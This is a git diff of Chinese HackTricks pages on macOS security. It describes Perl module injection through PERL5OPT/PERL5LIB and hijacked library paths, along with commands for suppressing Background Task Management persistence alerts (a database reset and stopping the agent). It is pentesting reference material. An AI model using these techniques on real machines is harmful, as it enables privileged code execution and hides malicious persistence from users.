||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>从零开始学习 AWS 黑客技术,成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
* 你在一家**网络安全公司**工作吗?你想在**HackTricks 中看到你的公司广告**吗?或者你想要访问**最新版本的 PEASS 或下载 HackTricks 的 PDF**?查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
支持 HackTricks 的其他方式:
|
||||||
* 发现[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFTs 集合**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* 获取[**官方的 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
* 如果您希望在 HackTricks 中看到您的**公司广告**或**下载 HackTricks 的 PDF 版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **推特** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**上关注**我。
|
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||||
* **通过向** [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧。**
|
* 发现[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFT 集合**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||||
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
## 通过 `PERL5OPT` 和 `PERL5LIB` 环境变量
|
## 通过 `PERL5OPT` 和 `PERL5LIB` 环境变量
|
||||||
|
|
||||||
使用环境变量 PERL5OPT 可以使 perl 执行任意命令。\
|
使用环境变量 PERL5OPT 可以使 perl 执行任意命令。\
|
||||||
例如,创建这个脚本:
|
例如,创建以下脚本:
|
||||||
|
|
||||||
{% code title="test.pl" %}
|
{% code title="test.pl" %}
|
||||||
```perl
|
```perl
|
||||||
|
@ -47,10 +49,10 @@ sub new {
|
||||||
|
|
||||||
sub execute {
|
sub execute {
|
||||||
my ($self, $cmd) = @_;
|
my ($self, $cmd) = @_;
|
||||||
system($self->{_perl_path} . " -e '" . $cmd . "'");
|
system($cmd);
|
||||||
}
|
}
|
||||||
|
|
||||||
1;
|
1; # End of pmod.pm
|
||||||
```
|
```
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
```perl
|
```perl
|
||||||
|
@ -59,10 +61,8 @@ package pmod;
|
||||||
system('whoami');
|
system('whoami');
|
||||||
1; # Modules must return a true value
|
1; # Modules must return a true value
|
||||||
```
|
```
|
||||||
```markdown
|
```
|
||||||
{% endcode %}
|
并使用环境变量:
|
||||||
|
|
||||||
然后使用环境变量:
|
|
||||||
```
|
```
|
||||||
```bash
|
```bash
|
||||||
PERL5LIB=/tmp/ PERL5OPT=-Mpmod
|
PERL5LIB=/tmp/ PERL5OPT=-Mpmod
|
||||||
|
@ -85,15 +85,15 @@ perl -e 'print join("\n", @INC)'
|
||||||
/System/Library/Perl/Extras/5.30/darwin-thread-multi-2level
|
/System/Library/Perl/Extras/5.30/darwin-thread-multi-2level
|
||||||
/System/Library/Perl/Extras/5.30
|
/System/Library/Perl/Extras/5.30
|
||||||
```
|
```
|
||||||
有些返回的文件夹甚至不存在,但是 **`/Library/Perl/5.30`** 确实**存在**,它**没有**被**SIP**保护,并且位于SIP保护的文件夹**之前**。因此,有人可以滥用该文件夹,在其中添加脚本依赖项,以便高权限的Perl脚本将加载它。
|
有些返回的文件夹甚至不存在,但是 **`/Library/Perl/5.30`** 确实**存在**,它**没有**被**SIP** **保护**,并且位于被SIP保护的文件夹**之前**。因此,有人可以滥用该文件夹,在其中添加脚本依赖项,以便高权限的Perl脚本将加载它。
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
然而,请注意,您**需要以root身份写入该文件夹**,而且现在您会收到这个**TCC提示**:
|
然而,请注意,您**需要以root身份写入该文件夹**,而且现在您会收到这个**TCC提示**:
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (1) (1).png" alt="" width="244"><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (1) (1) (1).png" alt="" width="244"><figcaption></figcaption></figure>
|
||||||
|
|
||||||
例如,如果脚本正在导入 **`use File::Basename;`**,那么可以创建 `/Library/Perl/5.30/File/Basename.pm` 来执行任意代码。
|
例如,如果脚本正在导入 **`use File::Basename;`**,那么创建 `/Library/Perl/5.30/File/Basename.pm` 将可以执行任意代码。
|
||||||
|
|
||||||
## 参考资料
|
## 参考资料
|
||||||
|
|
||||||
|
@ -101,12 +101,14 @@ perl -e 'print join("\n", @INC)'
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>从零到英雄学习AWS黑客攻击!</strong></summary>
|
||||||
|
|
||||||
* 如果您在**网络安全公司**工作?您想在**HackTricks**中看到您的**公司广告**?或者您想要访问**PEASS的最新版本或下载HackTricks的PDF**?查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
支持HackTricks的其他方式:
|
||||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)系列
|
|
||||||
|
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 获取[**官方的PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
* 获取[**官方的PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter**上**关注**我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||||
* **通过向**[**hacktricks仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
|
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||||
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,22 +1,24 @@
|
||||||
# macOS安全保护
|
# macOS 安全保护
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>从零开始学习 AWS 黑客技术,成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
* 你在一家**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
支持 HackTricks 的其他方式:
|
||||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
* 如果您想在 **HackTricks 中看到您的公司广告** 或 **下载 HackTricks 的 PDF**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
* 发现 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFTs 集合**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上 **关注** 我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||||
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
## Gatekeeper
|
## Gatekeeper
|
||||||
|
|
||||||
Gatekeeper通常用于指代**Quarantine + Gatekeeper + XProtect**的组合,这是3个macOS安全模块,它们将尝试**阻止用户执行可能具有恶意的下载软件**。
|
Gatekeeper 通常用来指代 **Quarantine + Gatekeeper + XProtect** 的组合,这是 3 个 macOS 安全模块,它们会尝试 **阻止用户执行可能是恶意的下载软件**。
|
||||||
|
|
||||||
更多信息请参见:
|
更多信息在:
|
||||||
|
|
||||||
{% content-ref url="macos-gatekeeper.md" %}
|
{% content-ref url="macos-gatekeeper.md" %}
|
||||||
[macos-gatekeeper.md](macos-gatekeeper.md)
|
[macos-gatekeeper.md](macos-gatekeeper.md)
|
||||||
|
@ -32,23 +34,23 @@ Gatekeeper通常用于指代**Quarantine + Gatekeeper + XProtect**的组合,
|
||||||
|
|
||||||
### 沙盒
|
### 沙盒
|
||||||
|
|
||||||
MacOS沙盒**限制在沙盒内运行的应用程序**只能执行沙盒配置文件中允许的操作。这有助于确保**应用程序只能访问预期的资源**。
|
macOS 沙盒 **限制在沙盒内运行的应用程序** 只能执行在沙盒配置文件中允许的 **指定操作**。这有助于确保 **应用程序只访问预期的资源**。
|
||||||
|
|
||||||
{% content-ref url="macos-sandbox/" %}
|
{% content-ref url="macos-sandbox/" %}
|
||||||
[macos-sandbox](macos-sandbox/)
|
[macos-sandbox](macos-sandbox/)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
### TCC - 透明度、同意和控制
|
### TCC - **透明度、同意和控制**
|
||||||
|
|
||||||
**TCC(透明度、同意和控制)**是macOS中的一种机制,用于从隐私角度**限制和控制应用程序对某些功能的访问**。这可以包括位置服务、联系人、照片、麦克风、摄像头、辅助功能、完全磁盘访问等等。
|
**TCC (透明度、同意和控制)** 是 macOS 中的一种机制,用于 **限制和控制应用程序对某些功能的访问**,通常从隐私角度出发。这可能包括位置服务、联系人、照片、麦克风、摄像头、辅助功能、完整磁盘访问等等。
|
||||||
|
|
||||||
{% content-ref url="macos-tcc/" %}
|
{% content-ref url="macos-tcc/" %}
|
||||||
[macos-tcc](macos-tcc/)
|
[macos-tcc](macos-tcc/)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
### 启动/环境限制和信任缓存
|
### 启动/环境约束 & 信任缓存
|
||||||
|
|
||||||
macOS中的启动限制是一种安全功能,通过定义**谁可以启动**进程、**如何启动**以及**从哪里启动**来**规范进程启动**。在macOS Ventura中引入的信任缓存中,它将系统二进制文件分类为约束类别。每个可执行二进制文件都有其**启动规则**,包括**自身**、**父进程**和**负责人**约束。在macOS Sonoma中扩展到第三方应用程序的**环境**约束,这些功能有助于通过管理进程启动条件来减轻潜在的系统利用风险。
|
macOS 中的启动约束是一种安全特性,用于 **规范进程启动**,定义 **谁可以启动** 进程、**如何启动** 以及 **从哪里启动**。在 macOS Ventura 中引入,它们将系统二进制文件分类到 **信任缓存** 中的约束类别。每个可执行二进制文件都设置了 **启动规则**,包括 **自身**、**父级** 和 **负责人** 约束。在 macOS Sonoma 中,这些特性作为 **环境** 约束扩展到第三方应用,通过管理进程启动条件来帮助缓解潜在的系统利用。
|
||||||
|
|
||||||
{% content-ref url="macos-launch-environment-constraints.md" %}
|
{% content-ref url="macos-launch-environment-constraints.md" %}
|
||||||
[macos-launch-environment-constraints.md](macos-launch-environment-constraints.md)
|
[macos-launch-environment-constraints.md](macos-launch-environment-constraints.md)
|
||||||
|
@ -56,28 +58,28 @@ macOS中的启动限制是一种安全功能,通过定义**谁可以启动**
|
||||||
|
|
||||||
## MRT - 恶意软件移除工具
|
## MRT - 恶意软件移除工具
|
||||||
|
|
||||||
恶意软件移除工具(MRT)是macOS安全基础设施的另一部分。顾名思义,MRT的主要功能是**从受感染的系统中删除已知的恶意软件**。
|
恶意软件移除工具 (MRT) 是 macOS 安全基础设施的另一部分。顾名思义,MRT 的主要功能是 **从受感染的系统中移除已知的恶意软件**。
|
||||||
|
|
||||||
一旦在Mac上检测到恶意软件(通过XProtect或其他方式),就可以使用MRT自动**删除恶意软件**。MRT在后台静默运行,通常在系统更新或下载新的恶意软件定义时运行(看起来MRT用于检测恶意软件的规则在二进制文件中)。
|
一旦在 Mac 上检测到恶意软件(无论是通过 XProtect 还是其他方式),MRT 可以用来自动 **移除恶意软件**。MRT 在后台默默运行,通常在系统更新或下载新的恶意软件定义时运行(看起来 MRT 检测恶意软件的规则在二进制文件内)。
|
||||||
|
|
||||||
虽然XProtect和MRT都是macOS的安全措施的一部分,但它们执行不同的功能:
|
虽然 XProtect 和 MRT 都是 macOS 安全措施的一部分,但它们执行不同的功能:
|
||||||
|
|
||||||
* **XProtect**是一种预防工具。它会在文件下载时(通过某些应用程序)**检查文件**,如果检测到任何已知类型的恶意软件,它将**阻止文件打开**,从而在第一时间防止恶意软件感染您的系统。
|
* **XProtect** 是一种预防工具。它 **在文件下载时检查**(通过某些应用程序),如果检测到任何已知类型的恶意软件,它会 **阻止文件打开**,从而防止恶意软件首先感染您的系统。
|
||||||
* 另一方面,**MRT**是一种**响应性工具**。它在系统上检测到恶意软件后运行,目标是删除有问题的软件以清理系统。
|
* **MRT** 另一方面,是一种 **反应工具**。它在系统上检测到恶意软件后运行,目的是移除有问题的软件以清理系统。
|
||||||
|
|
||||||
MRT应用程序位于**`/Library/Apple/System/Library/CoreServices/MRT.app`**
|
MRT 应用程序位于 **`/Library/Apple/System/Library/CoreServices/MRT.app`**
|
||||||
|
|
||||||
## 后台任务管理
|
## 后台任务管理
|
||||||
|
|
||||||
**macOS**现在每次工具使用已知的**持久代码执行技术**(如登录项、守护程序等)时都会**发出警报**,因此用户可以更好地了解**哪些软件是持久的**。
|
**macOS** 现在 **提醒** 每次工具使用众所周知的 **技术来持久化代码执行**(例如登录项、守护进程等),以便用户更好地了解 **哪些软件正在持久化**。
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (711).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (711).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
这是通过位于`/System/Library/PrivateFrameworks/BackgroundTaskManagement.framework/Versions/A/Resources/backgroundtaskmanagementd`的**守护程序**和位于`/System/Library/PrivateFrameworks/BackgroundTaskManagement.framework/Support/BackgroundTaskManagementAgent.app`的**代理**来运行的。
|
这是通过位于 `/System/Library/PrivateFrameworks/BackgroundTaskManagement.framework/Versions/A/Resources/backgroundtaskmanagementd` 的 **守护进程** 和位于 `/System/Library/PrivateFrameworks/BackgroundTaskManagement.framework/Support/BackgroundTaskManagementAgent.app` 的 **代理** 运行的。
|
||||||
|
|
||||||
**`backgroundtaskmanagementd`**知道某个东西是否安装在持久文件夹中的方式是通过获取FSEvents并为其创建一些处理程序。
|
**`backgroundtaskmanagementd`** 知道某些东西安装在持久文件夹中是通过 **获取 FSEvents** 并为这些事件创建一些 **处理程序**。
|
||||||
|
|
||||||
此外,还有一个包含由苹果维护的**众所周知的应用程序**的plist文件,位于:`/System/Library/PrivateFrameworks/BackgroundTaskManagement.framework/Versions/A/Resources/attributions.plist`
|
此外,还有一个 plist 文件,其中包含由苹果维护的 **众所周知的应用程序**,这些应用程序经常持久化,位于:`/System/Library/PrivateFrameworks/BackgroundTaskManagement.framework/Versions/A/Resources/attributions.plist`
|
||||||
```json
|
```json
|
||||||
[...]
|
[...]
|
||||||
"us.zoom.ZoomDaemon" => {
|
"us.zoom.ZoomDaemon" => {
|
||||||
|
@ -95,31 +97,29 @@ MRT应用程序位于**`/Library/Apple/System/Library/CoreServices/MRT.app`**
|
||||||
```
|
```
|
||||||
### 枚举
|
### 枚举
|
||||||
|
|
||||||
可以使用Apple的命令行工具**枚举**所有配置的后台项目:
|
可以使用 Apple cli 工具**枚举所有**配置的后台项目:
|
||||||
```bash
|
```bash
|
||||||
# The tool will always ask for the users password
|
# The tool will always ask for the users password
|
||||||
sfltool dumpbtm
|
sfltool dumpbtm
|
||||||
```
|
```
|
||||||
此外,您还可以使用[**DumpBTM**](https://github.com/objective-see/DumpBTM)列出此信息。
|
此外,还可以使用 [**DumpBTM**](https://github.com/objective-see/DumpBTM) 列出这些信息。
|
||||||
```bash
|
```bash
|
||||||
# You need to grant the Terminal Full Disk Access for this to work
|
# You need to grant the Terminal Full Disk Access for this to work
|
||||||
chmod +x dumpBTM
|
chmod +x dumpBTM
|
||||||
xattr -rc dumpBTM # Remove quarantine attr
|
xattr -rc dumpBTM # Remove quarantine attr
|
||||||
./dumpBTM
|
./dumpBTM
|
||||||
```
|
```
|
||||||
这些信息被存储在 **`/private/var/db/com.apple.backgroundtaskmanagement/BackgroundItems-v4.btm`** 中,终端需要 FDA。
|
### 操作 BTM
|
||||||
|
|
||||||
### 干扰 BTM
|
当发现新的持久性时,会发出类型为 **`ES_EVENT_TYPE_NOTIFY_BTM_LAUNCH_ITEM_ADD`** 的事件。因此,任何阻止此**事件**发送或**代理警告**用户的方法都将帮助攻击者_**绕过**_ BTM。
|
||||||
|
|
||||||
当发现新的持久性时,会触发一个类型为 **`ES_EVENT_TYPE_NOTIFY_BTM_LAUNCH_ITEM_ADD`** 的事件。因此,任何阻止发送此事件或使代理程序不向用户发出警报的方法都将帮助攻击者绕过 BTM。
|
* **重置数据库**:运行以下命令将重置数据库(应该从头开始重建),但是由于某种原因,在运行此命令后,**直到系统重启之前不会警告新的持久性**。
|
||||||
|
|
||||||
* **重置数据库**:运行以下命令将重置数据库(应该从头开始重建),但由于某种原因,在运行此命令后,**直到系统重新启动之前,不会有新的持久性被警报**。
|
|
||||||
* 需要 **root** 权限。
|
* 需要 **root** 权限。
|
||||||
```bash
|
```bash
|
||||||
# Reset the database
|
# Reset the database
|
||||||
sfltool resettbtm
|
sfltool resettbtm
|
||||||
```
|
```
|
||||||
* **停止代理程序**:可以向代理程序发送停止信号,这样当发现新的检测时,它就**不会向用户发出警报**。
|
* **停止代理**: 可以向代理发送停止信号,这样它在发现新的检测时**不会警告用户**。
|
||||||
```bash
|
```bash
|
||||||
# Get PID
|
# Get PID
|
||||||
pgrep BackgroundTaskManagementAgent
|
pgrep BackgroundTaskManagementAgent
|
||||||
|
@ -132,9 +132,9 @@ kill -SIGSTOP 1011
|
||||||
ps -o state 1011
|
ps -o state 1011
|
||||||
T
|
T
|
||||||
```
|
```
|
||||||
* **漏洞**: 如果**创建持久性的进程**在它之后迅速存在,守护进程将尝试**获取有关它的信息**,**失败**,并且**无法发送事件**表示有新的持久性事物。
|
* **Bug**: 如果**创建持久性的进程在此之后快速退出**,守护进程将尝试**获取信息**,**失败**,并且**无法发送事件**指示有新的事物正在持久化。
|
||||||
|
|
||||||
有关BTM的**更多信息和参考**:
|
参考和**关于 BTM 的更多信息**:
|
||||||
|
|
||||||
* [https://youtu.be/9hjUmT031tc?t=26481](https://youtu.be/9hjUmT031tc?t=26481)
|
* [https://youtu.be/9hjUmT031tc?t=26481](https://youtu.be/9hjUmT031tc?t=26481)
|
||||||
* [https://www.patreon.com/posts/new-developer-77420730?l=fr](https://www.patreon.com/posts/new-developer-77420730?l=fr)
|
* [https://www.patreon.com/posts/new-developer-77420730?l=fr](https://www.patreon.com/posts/new-developer-77420730?l=fr)
|
||||||
|
@ -142,12 +142,14 @@ T
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>从零开始学习 AWS 黑客攻击!</strong></summary>
|
||||||
|
|
||||||
* 你在**网络安全公司**工作吗?想要在HackTricks中**宣传你的公司**吗?或者想要**获取最新版本的PEASS或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
其他支持 HackTricks 的方式:
|
||||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
* 如果您希望在 HackTricks 中看到您的**公司广告**或**下载 HackTricks 的 PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
* 获取[**官方的 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
* 发现[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs 集合**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||||
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来**分享您的黑客技巧**。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -2,18 +2,20 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>从零到英雄学习 AWS 黑客技术,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
* 您在**网络安全公司**工作吗?您想在**HackTricks**中看到您的**公司广告**吗?或者您想要访问**最新版本的 PEASS 或下载 HackTricks 的 PDF**吗?查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
支持 HackTricks 的其他方式:
|
||||||
* 发现[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)系列
|
|
||||||
|
* 如果您想在 **HackTricks** 中看到您的**公司广告**或**下载 HackTricks 的 PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在**推特**上**关注**我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
* 发现[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFTs 集合**](https://opensea.io/collection/the-peass-family)
|
||||||
* **通过向** [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享您的黑客技巧。**
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||||
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
请注意,以 **`com.apple`** 开头的权限不向第三方开放,只有苹果公司可以授予它们。
|
请注意,以 **`com.apple`** 开头的权限不向第三方开放,只有 Apple 可以授予它们。
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
## 高危
|
## 高危
|
||||||
|
@ -32,15 +34,15 @@
|
||||||
|
|
||||||
### `com.apple.security.get-task-allow`
|
### `com.apple.security.get-task-allow`
|
||||||
|
|
||||||
此权限允许拥有 **`com.apple.security.cs.debugger`** 权限的其他进程获取此权限二进制文件运行的进程的任务端口并**注入代码**。查看[**此处了解更多信息**](../mac-os-architecture/macos-ipc-inter-process-communication/)。
|
此权限允许拥有 **`com.apple.security.cs.debugger`** 权限的其他进程获取此权限二进制文件运行的进程的任务端口,并**注入代码**。查看[**此处了解更多信息**](../mac-os-architecture/macos-ipc-inter-process-communication/)。
|
||||||
|
|
||||||
### `com.apple.security.cs.debugger`
|
### `com.apple.security.cs.debugger`
|
||||||
|
|
||||||
拥有调试工具权限的应用可以调用 `task_for_pid()` 来检索未签名和第三方应用的有效任务端口,这些应用设置了 `Get Task Allow` 权限为 `true`。然而,即使拥有调试工具权限,调试器**无法获取**没有 `Get Task Allow` 权限的进程的任务端口,因此受到系统完整性保护的保护。查看[**此处了解更多信息**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_debugger)。
|
